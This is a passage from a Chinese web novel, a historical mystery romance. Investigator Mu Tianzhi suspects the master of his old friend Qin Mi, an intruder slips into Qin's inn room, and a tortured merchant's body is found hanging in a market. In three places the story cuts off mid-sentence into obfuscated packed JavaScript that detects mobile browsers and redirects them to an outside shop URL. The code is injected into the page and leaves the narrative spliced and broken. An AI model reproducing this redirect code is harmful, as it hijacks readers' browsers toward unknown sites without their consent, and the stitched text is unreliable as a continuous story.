秦觅点头道:“你对他们好,他们也同样对你好,这种感情和忠心仅凭长幼尊卑是换不来的。” “秦秀才在家可有朋友?你性子这么好,应当很受人欢迎。”慕天知问道。 “我?家中变故之前有不少学伴,但那会儿两耳不闻窗外事,没什么时间沟通感情,再加上早早中了秀才,被捧得太高,就难以结交朋友了。”秦觅缓声道,“后来到了师父那里,很长一段时间内见不得同龄人,没有太多伙伴。来京后还好,在胭脂巷跟大家相处得都很愉快,只可惜……” 自己性情是不错,可感情是需要培养的,身边的人总在换,没几个能留下,又怎么能交到情谊甚笃的密友。 况且,早知命不久矣,又何必徒增他人伤悲。 慕天知转而问道:“你师父是个什么样的人?对你好吗?” “当然好了,简直像是亲生父母。”说起师父,秦觅脸上浮现不自知的笑意,“他善良豁达,待人宽厚,明明已经中举,却自愿放弃入仕的大好前途,只为悬壶济世、治病救人,除了做郎中,他还在丰原出资办了几间私塾,好让一些穷人家的孩子有书念。” “那他靠什么为生?光做郎中可发不了财。” “世子或许不知丰原邬氏的名气,他们在当地主要是做药材生意的,家大业大,虽然我师爷已经全心扑在医术上,但他们那一房能分到的红利并不少。再加上师父是举人,能够减免赋税,挣钱于他而言并非难事。”秦觅娓娓道来。 “他成家了吗?” “早年成过婚,可惜师娘难产,一尸两命,师父再未续弦——” “可你师爷师父都是名医,怎么会救不来一个难产的妇人?” “他们都不擅长妇科,再加上妇人生产时极为凶险,有时名医也回天乏术。” 听到有人质疑师父,秦觅已经有些不悦,语气沉了下来。 然而慕天知仿佛没有察觉,继续问道:“当时你师父如何恰好碰到受伤的你?为什么对你这般热心?据都衍卫调查,他毕生只收了你一个入室弟子——为什么如此对你另眼相看?” “世子,你难道在怀疑我师父?!”秦觅突然停住了脚,转头不悦地看着他。 慕天知面无表情:“何以有此一问?” “你在那矿井中说,真凶本就笃信人性本恶,无需费力抓那么多孩童自我验证,除非是要向世人证明这一点,可他并没有把孩童们自相残杀的恶果公诸于世,还‘好心’地把最终幸存的我俩平安送出来。”秦觅微微仰头看着他,“那就只剩下一种可能,他本是打算向世人证明的,只是这场验证并未结束,他还会在暗处观察我俩,看我们究竟会变成什么样的人。” “所以你觉得,把我捡回去的师父就是幕后真凶,因为通过我就一定能找到你,最方便观察,是不是?!” 熙熙攘攘的街上,周遭都是喧闹嬉笑的声音,分明是活泼又轻松的,可两人间的气氛此刻就像凝固了一般,先前在矿井中还携手并肩的昔日旧友,此刻彼此冰冷地对视着。 看着那双义愤填膺的眸子,慕天知神情并未缓和:“既然秦秀才这么聪明绝顶,猜到了我的想法,那就不妨多说些,打消我对他的怀疑。” “我师父凭什么要自证清白?是你觉得他有嫌疑,那你就拿出证据来,别在这里张口就来,凭空指责!”好脾气的秀才第一次对他动了怒,“你不是最讲证据吗?镇抚使大人!” 慕天知觉得自己没错,合理怀疑案发现场出现的所有人是办案的正常流程,需要先怀疑再排除,况且他又没说出来,是这秀才自己猜到,才气坏了的。 有时候太聪明也不是好事。 办案这么多年,愤怒杀人的他见过,处心积虑的反社会分子更不在少数,能抓三十四个孩子,玩这种残酷的大逃杀,就说明幕后真凶除了残忍变态之外,还极其有行动力和耐心。 这个人,完全可以做到为了一个自认为有趣的结果,蛰伏许多年。 如果事情真像自己推断的那样,此人必定会在自己或者秦觅身边,伪装成一个和善又容易亲近、最让人放下戒心的人。 在景国公府潜伏显然不太可能,自己原身被绑架之后,府内上下对安全一事非常重视,所有入府当差的陌生面孔都要往上追查三辈,跟现世的政审有一拼,自己身边也没有任何一个三十到四十岁、令自己能言听计从的男人。 反观秦觅身边是最好潜伏的。 他本就年纪更小,又涉世未深,家中还遭遇巨变,最容易让人趁虚而入,十年时间,不仅足够那个师父观察他,甚至足够重塑他。 那么,现在的秦觅,到底值不值得信任? 慕天知太知道自己对他的感觉,因此更加担心与他越走越近的后果。 说句自视甚高的话,如果那幕后真凶最终目的是自己,是景国公夫妇,甚至是皇帝,后果就不堪设想了。 若是自己不够警惕,轻信了秦觅,进而被他的那个师父利用,到时导致大鑫朝廷陷入混乱,自己当如何自处?! 谁能笃定那位师父没有跟朝中别有用心的人勾结? 现在回到最初的怀疑上——秦觅到底为什么突然来京城找慕烽? 如果是曾经同生共死的感情,为什么十年来没有尝试联系? 如果感情没那么深,为什么“慕烽”与他亲密接触的那一次,他没有任何抵触的表现? 这一切,究竟是秦觅自己的想法,还是被别人教唆? 那一夜慕天知是借酒行凶,但酒精只不过放纵了他的情绪,并未让他彻底失去判断力,如果当时的秦觅有片刻迟疑,他是无论如何都不会往下继续。 但那晚,秦觅仿佛比他还要纵情。 太奇怪了。 “我并没有明确指出来,只是有一点怀疑。”问题太多,很容易让人陷入混乱,慕天知决定暂缓当下紧张的局面,平心静气地说,“秦秀才不妨跳出与师父的关系,理智一点看待这件事,就会觉得我对他的怀疑并不是完全没有依据。” 经过这片刻无言的对峙,秦觅也知道自己是冲动了,在对方面前暴露了太多情绪。 他承认慕天知所言没错,但他依旧生气。 “那你又如何打消对救你的那个猎户的怀疑?”他反问道。 慕天知坦白相告:“都衍卫把他查了个底儿掉,那半年的行踪都找到了相关人证物证,证明他绝无作案的能力和可能。” 对一个好心人这么做确实有些说不过去,因此事后爹娘也给了他足够改变自己和后代命运的钱财做弥补。 秦觅攥了攥拳头,努力让自己平静下来:“当年查当然好查,可现在已经是十年后,师父那会儿又是在云游,居无定所,该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427069|200885||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么查?” 慕天知想了想,问道:“当年是他主动提及收留你?” “不是,是我无处可去,宗族亲戚在老家,没什么来往,又不想留在已经没了双亲的家中,央求他带我走。”秦觅压着怒火回答。 “那又怎么收你为徒?” “是我苦苦央求,最初只是想能照顾自己的心痹之症,后来觉得能治病救人,做点善事,好为父母积德。师父原本想劝我继续科举,是我坚持不肯,一心学医,磨了他足足一年他才答应。” “十年来,为什么你没有主动联系慕烽?” 秦觅愤怒的眼神中又闪过一抹愕然:“你知道我的地址,从没写来只言片语,亏我还总托人回家问有没有收到你的信,每次得到的都是失望,我都不知道你在曜京家住哪街哪巷,还是来了之后才知道你贵为景国公世子,我如何联系你?!” “既然知道了,又为何不来景国公府递拜帖?”慕天知锐利的眼睛紧紧盯着他。 “是我高攀不起,这个理由够不够?”秦觅怒极反笑,“你当年不曾跟我说过你高贵的身份,等我到了曜京才知道,对视过后你又不认得我,若换了你,你会作何反应?小烽哥哥?!” 看到他眼中一闪而过的痛苦,慕天知咽下了之后的问题。 现在已经闹得很不愉快,再问对方为何愿意与自己共赴巫山,那简直是找骂。 其实没去找他的原因很复杂很难解释,跟情绪和状态都有关系,秦觅当时并不怪慕烽没有跟自己说清楚身份——或许是怕吓到自己,或许是这样出身的孩子都被叮嘱过不要暴露身份,以免被恶人有所图谋。 但现在他不想跟慕天知说下去了。 他极为冷淡地垂眸道:“你爱信不信,若是想查我师父,你手底下大把都衍卫可以调动,我说什么都没用,抱歉,先走一步。” 说罢一甩袖子,阔步向前走去。 慕天知并未跟上,只是目送他的身影慢慢走远,心情有些复杂。 情感上,看到秀才那受伤愤怒的模样令他有点心疼,理智上又觉得自己没错。 这一夜风流,哪怕自己不是慕烽,也已经被卷入其中。 吵架过后,秦觅无心欣赏夜景,脚步匆匆地回到客栈房间,胃里食物消化完了,但又填了一肚子气。 小烽哥哥居然不信自己,还怀疑师父,是不是这些年来办案把脑子办坏了?! 秦觅真的越想越气。 他居然不信我! 把我当成什么蠢货了吗?我怎么可能随便被别人控制?! 如果师父真的有问题,我怎么可能看不出来?! 生气于心脏无益,秦觅依着师父的叮嘱,屏息凝神打坐片刻,让自己平静下来,随后便洗漱上床休息。 虽然怒气已消,但怒意还在,他决定不给慕天知好脸,等回了曜京就各走各路。 既然失忆,就不是当年的小烽哥哥,自己怀着旧情,对方却只当自己是陌生人,何必非要靠近自取其辱? 慕天知在街头多转了几圈,多番自省,最后无奈承认,自己是有些过于投入案情之中,对秦觅的态度有些冷硬了。 难怪在现世,不管是同事还是领导,总会在闲暇的时候调侃自己,不办案的时候是个能说能笑的活人,一办起案子来就像个毫无感情的人机,光那一脸严肃的表情就能把下属吓得不敢吭声,看上去很难相处。 穿越到等级森严的古代之后,这倒不是什么明显的缺点,上级只会觉得他年轻却沉稳,是个能做事的人,下级只当他是有长官威严,谁也不敢想着跟他做朋友。 但秦觅……两人关系着实复杂,闹僵了不好,且哄着吧。 记得秀才是个吃货,慕天知便买了易安县有名的几种小吃拎回了客栈,上楼后本想给秦觅送去,却见对方房间没了光亮,应该是睡下了。 正要离开时,却听见房内传来轻微的脚步声,仿佛习武之人刻意收敛行迹的声音! 有刺客?! 慕天知当即推门进去,正面厅房内空无一人,而一旁敞着门的卧房里像是有道影子划过! 他把手里的油纸包往桌上一扔,立刻抬脚追了过去,果然见一个黑衣人影从敞开的窗户中跳了出去! 32. 叁拾贰 慕天知撩开床帐,确认秦觅还在床上安稳睡着,当即便跳出窗外去追那人。 黑衣人轻功了得,从三楼纵身一跃,跳到了旁边大树上,又在树顶一路疾行,径直奔向客栈院墙。 慕天知的轻功也不差,他紧随其后,到院墙之上时,就截住了对方的去路,只可惜身上没带佩刀,只能赤手空拳与其打了起来。 “你是何人?到这里来想干什么?!”他一边出招,一边厉声问道。 那黑衣人显然无心恋战,招招只为躲避,显然是想尽早脱身,暗夜中的身影像一条滑不溜丢的泥鳅,灵活地避开了慕天知的招数,迅速从院墙上跳了下去。 院墙后是一条狭窄的小巷,他仿佛非常熟悉地形,一刻不停往前跑,慕天知紧追不舍,追到了转弯处,遇上了迎过来的梅淼和窦家兄弟三人组。 黑衣人脸上蒙着布,只露出一双眼睛,被月光一照,那双眼倒是十分好看。 慕天知甚至觉得,依稀有些眼熟。 那人看到自己被人夹击,立刻改变方向,跳上旁边院墙,直接上了屋顶,往远方跑去。 “我去追!”梅淼当即跟上。 窦坤丢下一句“我也去”,也跳上房顶,追着梅淼很快没了身影。 窦乾便留在了慕天知身边护着。 “你们怎么跟来的?”慕天知转身,快速沿小巷原路返回。 窦乾跟上他,答道:“方才我们三个刚上楼,就见你冲进了秦秀才的房间,猜到一定有麻烦。那究竟是什么人?要对秦秀才干什么?” 是个好问题,慕天知心想。 两人翻过院墙,越过树顶,从窗户回到了秦觅的卧房。 这秀才依旧睡得酣熟,还因为有点热把被子给蹬了,看起来睡相不怎么好,穿着白色中衣的手臂斜斜地搭在床沿,宽松的袖口露出一截瘦削的小臂。 慕天知想起方才与那黑衣人交手的几招,自己手掌捋过对方手臂,感觉那人也是精瘦的类型,至少手臂比秦觅粗不了多少。 “世子,这香会不会有蹊跷?”窦乾小声提醒。 这熏香气味慕天知一进门就闻到了,当时屏住呼吸先追了出去,这会儿小心翼翼嗅了嗅,并不觉得有什么问题。 他端起床边小几上的香炉,仔细研究了一下,依然没有发现明显的异味。 就算吸进去一些,自己依然脑清目明,并无异样。 方才那黑衣人应该是从窗户进来的,进来后并没关窗,接连几人从窗口追出去都没制造出太大声响,秦觅作为一个不会功夫、又熟睡着的人,倒也算正常。 “秦秀才?”慕天知轻轻推了推秦觅的手臂,看对方到底是酣睡还是昏睡。 被这么推了两下,秦觅就缓缓睁开了眼睛,模模糊糊地看见了慕天知的脸,先是有那么一些郁闷。 “世子又要做什么?今夜我没心情。”他嘟嘟囔囔地把头转向内侧。 慕天知:“……” 窦乾:“?” 为什么说“又”?为什么是“没心情”?没心情做什么? “方才你房间进了人。”为了避免他再说出一些奇怪的话,慕天知立刻切入重点,“你醒一醒,坐起来看看是否有哪里不对。” 一听这话,秦觅彻底清醒了,当即起身,低头看看自己,又往床内摸了摸细软,然后摇摇头:“我没事,财物也没丢——你怎么知道进了人?” 慕天知简单说了一下方才的情况,又问:“这香是你点的吗?” “是啊,普通的安神香。”秦觅点点头,“以前睡不着的时候我就会点上它,有助于入眠。” “确定没有其他问题?”慕天知追问。 秦觅把香炉端到跟前反复嗅了嗅,摇头:“这香是我自己亲手做的,不会有问题。” “配方是你自己研究出来的,还是别人给你的?”慕天知锲而不舍地问道。 秦觅仰头看着他,目光又有些不悦:“世子是觉得,这安神香是我师父教我做的,他利用这药效,好向我探听什么,是吗?” “我没这么说。”但慕天知确实这么想过。 “配方是最普通的方子,跟市面上的安神香没有任何区别,世子若是不信,可以拿去找高明的制香师检验。”秦觅沉声道,“如果不信我,就没必要多问了。” 窦乾忍不住插嘴:“秦秀才,世子是担心你的安全。” 秦觅把香炉放下,下床起身,向慕天知拱手行礼:“多谢世子,但我想这应该是普通贼人,以为住在天字号上房的住客身上有油水可捞,所以冒险进来试试。世子不必凡事都往那件案子上想。” 这话他说得违心,因为话刚出口的时候就知道不对——若是进来偷东西的,为什么不挑另外三间没人的房间,而偏偏跑到自己这里来? “绝不是普通贼人。”窗外传来梅淼的声音,接着她和窦坤就从窗户跳了进来,一脸郁闷地向慕天知抱拳道,“世子,没追上,那人轻功比我还要好,不是普通毛贼的身手。” 窦坤补充道:“对方见我俩紧追不舍,最后摔了颗烟雾弹跑了。” “就算不是普通毛贼,是江洋大盗,但也请世子不要先入为主,预设谁有罪。”秦觅语气不是那么笃定地说。 因着有女子在,他从床边拿了外袍套上。 慕天知觑着他不肯跟自己对视的眉眼,知道他此刻心情定是不快,于是道:“大豆小豆,梅淼,你们先出去,我跟秦秀才好好谈谈。” 等三人依言离开之后,秦觅更是不藏了,再度拱手道:“多谢世子关心,在下身心皆无恙,财物未见损失,方才说过了,若是世子不信安神香,尽管拿去检验,还需要其他什么,在下配合就是——” 话音刚落,他就被人搂住腰,圈进了怀里。 秦觅没想到慕天知会这么做,慌张地抬头,对上对方压下来的脸,又下意识地垂眸,用手臂推拒。 慕天知明显感觉到,搂进怀里的时候,原本柔软的腰身瞬间绷成了一块铁板。 呵,小狐狸,平日里胡乱撩闲的时候还以为多能豁得出去,现在怎么耳根都红透了? “秀才脾气这么坏么?”他偏头在秦觅耳边低声说,“贼都进屋了,还顾着生我的气?就一点都不后怕?万一那贼人已经对你下了杀手该怎么办?” 真是个不惜命的人。 慕天知整天反复强调自己不是他的小烽哥哥,话里话外好像也在回避那晚的一夜风流,秦觅没想到他会这么主动的拥抱自己,像是不怕把他口中“复杂的关系”弄得更复杂。 接着脑筋一转,就猜到他葫芦里卖的什么药。 慕天知又明显感觉到,怀里的腰身突然又软了下来,两只瘦长的手臂蛇一样缠上了自己的脖子。 “世子心机这么深么?”秦觅也附在他的耳边说,“为了印证自己的猜测,不惜用——”偏过头来看着对方,鼻尖相抵,促狭道,“世子算不得美人,那是糙汉计?如此自信么?” 慕天知有些无奈:“我是真的关心你。” 秦觅轻笑了一声:“世子以什么立场关心?旧友?搭档?长官?还是……露水相公?” 不知道是不是他同样不好意思喊出这个词,最后这句“相公”是带着些气声的,仿佛一缕轻柔的烟雾,打在了慕天知的心头,让人不禁心旌摇荡。 温热的身体在怀里,鼻端是清新淡雅的安神香,曾经欢好过的画面又一次不受控制地冲进了脑海,曾经那些此起彼伏的呼吸声好像响在了耳边。 慕天知下意识地屏住呼吸,克制着向前半寸就能吻上那张柔软嘴唇的冲动。 “不管什么立场,至少我们不是陌生人。”他低声道,“就算是陌生人,见人遭难也得过问一句,不是吗?” 秦觅猛地推开他,向后退开一步,面上堆起客套的笑容:“因此我反复提及多谢世子又有何错?只可惜目前能提供的证词只有这些,今日太过疲累,方才睡得有些沉,确实一切都毫不知情。” “先前我也是心急了,不该先入为主。”不知为何,看他这般提防和保持距离,慕天知竟觉得有一些焦躁,他环顾四周,又道,“今夜留你一人我不放心,我在外边厅里榻上休息。” 秦觅又道:“不必这么麻烦,若是那人真的别有用心,一定知道世子还有其他几位长官就住在周围,必然不敢再返回,世子也是两夜没有好好休息,今晚还是睡个好觉吧。” 顿了顿,又道:“这一路给世子添了不少麻烦,等回京后,在下定不会再叨扰。” “这是要与我再不往来的意思吗?”慕天知直截了当地问道,“要跟我绝交?就因为这点事?” 秦觅垂眸:“当然不,只是我们本就不是该有来往的关系,一切随缘即好。” 慕天知深深地看着他,面色一沉,转身离开了房间。 秦觅坐回床上,怔愣了片刻,又深深叹了口气,起身把窗户关好,觉得口渴,发觉卧房桌上的壶里并没有水,便披着袍子去了厅里,看到了圆桌上油纸包里的点心。 窦家兄弟和梅淼是不可能给他买这些的,这些点心来自于谁不言而喻。 尝了一口柔软微甜的桂花糕,秦觅的心也不由地软了些,但想到对方不会轻易放弃针对师父的想法,他还是有些憋闷。 关于当年的绑架案,他虽然想抓真凶,但又没那么在意结果,颇有些消极无助。 因为即便抓到,他的命运也不可能有任何改变,不可能让死去的父母复活,哪怕能祭奠那些死去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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走到杂货铺附近,看到父亲笑盈盈地送一位顾客出门,小秦觅大声喊道:“阿爹!” 父亲扭头看见他们娘俩,赶忙迎过来:“怎么跑这儿来了,觅儿你可受得住吗?” “我好着呢!”小秦觅说,“再不下床走走才不好。” 父亲点点头:“这倒是,人得下地接接地气才行。” 这会儿又有顾客上门,他赶忙迎客去了,转头有个大嫂来买针线,母亲也忙着应和。 小秦觅就坐在自家杂货铺门口的台阶上,托着腮兴奋地看着街上人来人往,觉得身体里的元气也一点点地在恢复。 其实他早就好了不少,是爹娘太紧张了,总不让他出门。 突然间,有香甜的气味从一旁传了过来,他好奇地望去,见不远处有个卖白糖糕的大叔在摆摊。 这一个多月养病,虽然爹娘精心照顾,但吃得太清淡了,想到油炸白糖糕的软糯,小秦觅嘴巴里全是口水。 “阿爹阿娘,我就在附近走走哦!”他冲杂货铺里喊了一声,起身向小摊走过去。 他是在这条街上长大的,周围店铺都是熟人,从未想过会有意外,然而就在他离那白糖糕咫尺之遥的时候,斜刺里突然伸出一只手,捂住了他的口鼻,接着身体一轻,被人抱了起来。 耳边听见了一个男人低沉的声音:“这孩子又发病了!我送他去找郎中!” 惊慌失措的小秦觅下意识挣扎,可瘦削的身体被人抱得很紧,几乎动弹不得,但他从那人的手掌中闻到了一股味道。 是药味! 秦觅倏地睁开眼睛,发觉天光已亮,自己竟然不知不觉地睡了过去。 他一骨碌坐起来,反复回忆着梦里的景象,心跳突突个不停。 不对,梦里怎么可能闻到气味?! 刚才那到底是回忆,还是做梦? 应该是受了小烽哥哥的影响,是那个什么脑补!因为他怀疑师父,自己才会梦到绑走自己的那人身上有药味,一定是! 那个男人说话的声音,分明跟师父完全不一样! “世子,你醒了吗?外边出事了!”走廊里传来了梅淼的声音。 秦觅闻言便裹上外袍,跑出门去,就见梅淼站在隔壁房间门口等着。 梅淼看见他,立刻打招呼:“秦秀才。” “出什么事了?”秦觅问道。 梅淼往外边的方向指了指,语气严肃:“有人被杀了,被脱光了衣服吊在了闹市的树上!” 33. 叁拾叁 慕天知本就和衣而睡,睡得也不沉,梅淼话音刚落他就从房间里出来。 秦觅与他对上眼神,想起昨夜决绝的宣言,立刻别扭地挪开了目光。 窦家兄弟听见梅淼的喊声也出来了,五个人立刻下楼赶往事发地。 这家豪华客栈本就开在闹市区,离挂着尸体的地方不过几步之遥,众人赶到时,那棵树下已经围了不少百姓,周围还有县衙差役把守。 出了人命案,第一时间本该消除影响,但这是凶案现场,没有结束调查不能随意移动尸身,因此差役只能守在周遭,驱赶百姓离开,但百姓们不走,只是退远了几步,他们也没办法。 窦坤率先一步上前,对最前边的差役亮了亮腰牌:“都衍卫在此。”又指了一下慕天知,“这位是北镇抚司镇抚使慕大人。” 两个差役面面相觑,谁也不知道这腰牌还有人是真是假,不敢擅自让他们进去。 “去通知郭奇,让他亲自过来放行!”窦坤又道,使出了都衍卫的威严。 郭奇正是易安县的知县,俩差役听到眼前这个“别人下属”敢直呼自家上官的大名,立刻不再犹豫,弯腰行礼,口称“拜见慕大人”,连忙侧身让路。 慕天知带着秦觅径直走到了尸体跟前。 “肯定是仇杀!”看清楚尸体的模样,梅淼“啧”了一声,“这得多大仇才能把人搞成这样。” 秦觅定睛望去,看着被悬于树下的这个白胖子。 浑身被扒了个干干净净,没留一片布料,双手向上被绑在一起,绳子末端挂在粗壮树枝上,很明显肩部关节全部被拧了过去,但这算是他身上最轻的伤了。 此人鼻青脸肿,头胀得几乎有两个大,发髻凌乱,白胖的皮肤上明显可见各种被殴打过的痕迹,胸前挂了一个长形的牌子,挡住了正面的隐私部位,牌子上以红色笔迹写满了辱骂的文字。 “翟东梁,恬不知耻!” “欺辱女子,罪恶滔天!” “吃喝嫖赌,坏事做尽!” 秦觅绕到尸体一侧,用帕子裹着手,轻轻将木牌挑开一看,忍不住倒吸一口凉气。 “被阉割了。”他低声告诉身旁的慕天知,“血肉模糊,不清楚具体伤势。” 慕天知看着这位翟东梁遍布全身的捅伤、割伤还有青紫痕迹,沉声道:“显然死之前还被折磨过。” 仵作正在仔细检验尸体,低声交代身旁的助手记录,秦觅两人便退到了一边,不影响他们做事。 这时候有个三十出头、小厮模样的人惊慌失措地跑了过来,在百姓的包围圈外定睛一看,立刻嚎哭着挤了进来:“老爷!老爷!你死得好惨啊!” 梅淼立刻上前:“你是翟府的下人?” 她没有穿都衍卫公服,为了行动方便,穿的是寻常男装贴里,但并未故意做男装打扮,仍能明显看得出是名女子,是以那小厮并没有理会她,只是一味嚎哭。 秦觅见了,有心想帮她说明身份,被慕天知阻止。 世子俨然已经切换回了镇抚使大人,面带威严道:“不必,她自己能处理。” “问你话呢,说不说?!”梅淼伸手拎住那小厮的后衣领,从怀中掏出自己的腰牌,“都衍卫办案,还不快从实招来?!” 小厮这会儿才面露恭敬之色,连声道:“女大人饶命!女大人饶命!小的这就说!这就说!小的叫翟有福,是老爷的随从,三天前老爷突然失踪,我们全府上下急得不行,派人到处找寻,今天一大早,就听见有人来报信,说、说老爷在这儿,我们就赶紧过来了,谁知道……” 说到这里,他瞥了一眼翟东梁的死相,哇地一声哭了出来。 “先别号丧,我问你,你说‘你们’过来了,除了你,还有谁?”梅淼听他哭得心烦,打断道。 翟有福用袖子抹了抹眼泪,指了指不远处的一辆豪华马车:“我们家夫人也来了,妇道人家不宜抛头露面,派小的过来问问情况。” 梅淼看向慕天知:“大人,我去问问他家夫人。” 慕天知点头应允。 “翟有福是吧?”秦觅走过来,温声道,“你说你家老爷失踪了三天?” 那小厮点点头:“对,三天前的晚上,老爷说要出去办点事,不让我跟着,走了之后一晚上都没回来,第二天也没去铺子里,当时我有点担心,去老爷常去的地方问了一圈,都没找到他的人影,觉得有点不太对劲。” “既然觉得不对劲,为何不报官?” 翟有福挠了挠头,有点尴尬:“没确定出事,觉得没必要报官,要是老爷真的被绑了,绑匪总得派人送信来索要赎金。” “以前翟东梁被绑票过?”慕天知问道。 “我们老爷是易安县的首富,多年来不少贼人都打过我们翟府的主意,老爷自己就被绑过两次,差点被绑的也有三四次,家里少爷小时候也曾经被绑过一次,用了几千两银子才赎回来。”翟有福一副司空见惯的表情,“后来老爷就雇了很多保镖,走到哪儿都带着,以防万一。” 秦觅便好奇地问:“既然如此,这一次你们家老爷出门,为什么没带人?连你这个贴身随从都不让跟着?” 翟有福:“……” 旁边的慕天知想的跟秦觅一样,立刻就猜到,这位翟老爷肯定去见了什么不能让家里人知道的人。 从尸体胸前牌子上写的字能看出来,此人定然是裤.裆不怎么干净的那种。 既是晚上约见,很有可能是什么“红颜知己”。 秦觅一阵见血地问:“你家夫人可知道,你家老爷常逛青楼?” 翟有福干瘦的脸上露出了尴尬的神情,他垂眸道:“男人嘛……有这种爱好并没什么见不得人的,夫人都知道。” “既然知道,为什么这次出去不带人?!”慕天知语气严厉了些,“他去的到底是什么地方?!” “小的也不清楚啊!老爷没告诉小的!”翟有福喊了起来。 秦觅跟慕天知对视了一眼,又问:“你家老爷那夜出去没带你,他坐了车吗?还是步行去的?” “坐车了!”翟有福连忙道,“车夫说,老爷坐车到了聚德街,下车自行离去。” 秦觅望向了一旁竖着耳朵听的本地差役。 差役立刻明白他的意思,连忙做注解:“聚德街在城西,是外来人员聚集的地方,那片儿确实热闹,贩夫走卒、歌姬舞姬、青楼瓦肆都不少。” 慕天知明了,显然那边是一片低端娱乐场所,比曜京自己住的胭脂巷还要差的那种。 “这两天你们寻人,去那边找了吗?”秦觅问道。 翟有福点头道:“当然找了,我们几乎把聚德街附近翻了个底儿朝天,都没人见过老爷的行踪。” “那边鱼龙混杂,往来的人太多,就算见过也不一定有人会记得。”差役插嘴道。 秦觅转身指了指翟东梁身上挂着的牌子:“翟有福,这上面写的字,你觉得是否属实?” “当然不实!”翟有福尖声大叫起来,“我家老爷心地善良,怎么可能做出这等恶事?!什么欺辱女子,吃喝嫖赌,生意人逛逛青楼、养个外室,多些应酬,这不很正常吗?!” 这种话就没必要听了,翟东梁自己养的随从,不可能说他的不好,这翟有福肯定知道些什么,但不会在这光天化日之下说出来。 慕天知对窦家兄弟道:“看好他,带去衙门单独审问。” 翟有福面露慌张之色,刚想为自己争辩,就对上了窦乾威严的眼神,吓得一句话都不敢说,蔫头巴脑地被拎走了。 “镇抚使大人!”不远处传来一声男人的疾呼。 秦觅循声望去,就见一个身着青色公服、头戴乌纱的中年胖子奋力扒开人群挤了进来,目光如炬地在他们几个脸上晃了一圈,非常准确地瞄准了慕天知,当即扑了过去。 这位知县拱手做礼,情真意切道:“下官易安知县郭奇,不知镇抚使大人到来,有失远迎,罪过罪过!” 慕天知显然对此司空见惯,面无表情道:“无妨,本官因私事至此,并非公务,郭知县不必在意。” 现场人多眼杂,不利于继续问话,一行人便跟着郭奇去了县衙,翟家女眷们以及跟过来的下人也都带过去等候询问。 “翟东梁的正头夫人姓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“是,大人,属下失言。”窦坤连忙抱拳认错。 秦觅在旁边听着,心想,受害者有罪论?又是一个有趣的词。 这时又听慕天知问道:“翟家是做什么生意的?可有仇家?” “他家生意就多了,制瓷、采茶、丝织,都是祖宗传下来的家产,其实到他这一代,已经不如祖上繁荣。翟家已经分家,这位翟东梁排行老二,主要负责的是茶叶这部分生意。”郭奇恭敬道,“至于仇家,做生意不可能不结仇,但看这尸体的情况,不太像生意上的事。” 秦觅便道:“那翟东梁可有惹上过欺辱女子这样的官非?” “下官在任期间不曾有。”郭奇不知他的身份,但见他与慕天知同行,对他也很尊敬,“稍后回了县衙,即刻让师爷翻出卷宗核查——”接着转头问慕天知,“大人,北镇抚司要接手此案吗?如这种恶性罪案,下官循例也要逐级上报的。” 慕天知觑了眼秦觅,对郭奇道:“暂时不接手,你先着人调查,本官今日是恰好遇上了,所以过来看看情况。” 说话间一行人走到了县衙,郭奇将他们请到二堂落座,殷切问道:“不知大人有什么吩咐?” “先来些寻常吃食便好,我们今日起来还没顾上吃早饭。”慕天知耳朵里听到了秀才腹中偶尔响起的“乐声”。 秦觅肚子刚叫了一声,就听他这么说,顿时有些无语。 贼耳朵,这么灵! 郭奇连忙打发人去买,还命人奉上了最好的茶水。 这“最好”的茶水实在不怎么样,又干又涩,茶叶都是碎渣,尝着像是不知道多少年的陈茶。 秦觅了一口,忍俊不禁地抿了抿唇——这知县虽然官不高,但显然是官场上的老油条,这种哭穷、装廉洁的花招用得真是熟稔。 他偷偷瞥了眼慕天知,镇抚使大人应当是对这种表现见怪不怪,啜了一口茶水就把茶杯放下,明显不喜欢,但也没说什么。 郭奇让他们稍坐,自己出去处理些事情,堂中只剩了秦觅几个人,明显自在了起来。 梅淼问道:“大人,我们真的不接手这案子吗?感觉还挺复杂的。” “是啊大人,凶手下手那么狠,非一般凶案,搞不好就是个大祸害。”窦坤也道。 沉稳的窦乾制止兴奋的弟弟:“别乌鸦嘴。” 慕天知偏头看向秦觅,似笑非笑:“秦秀才想查吗?昨晚说与我不再往来,若我将此案转到北镇抚司,你来不来?” 秦觅:“……” 34. 叁拾肆 其实今日起来,秦觅回想昨夜的话,觉得自己属实有一些冲动。 若真是不再往来,渐行渐远便好了,左右两人在日常生活里确实没什么交集,你不找我我不找你,慢慢就淡了。 自己还偏要告知,就好像是在暗示对方来挽留似的。 幼稚、矫情,不忍回忆。 而眼前这桩案子,的确又勾起了自己的好奇心。 “大人若有用得着在下的地方,在下自然愿效犬马之劳。”秦觅才不会打自己的脸,笑吟吟地把球又踢了回去。 慕天知促狭地笑了笑,没有作声。 狡猾的秀才。 窦家兄弟不知道他俩这是闹哪出,没敢说话。 梅淼眼睛瞪得像铜铃,看看自家大人,又看看秦秀才,心里蛐蛐—— 哟,吵架了? 昨天黑衣人偷袭,大人不是挺着急的?秦秀才为何不高兴? 这俩人,现在到底什么情况? 不,不能看,我要藏好眼神,绝不能让大人看出来! 这会儿几名差役匆匆进来,把刚买来的豆浆油条葱花饼摆在了偏厅的圆桌上,请他们几人移步享用。 秦觅早就饿得不行,盛了一小碗豆浆,咬一口酥脆的油条,心情瞬间好了很多。 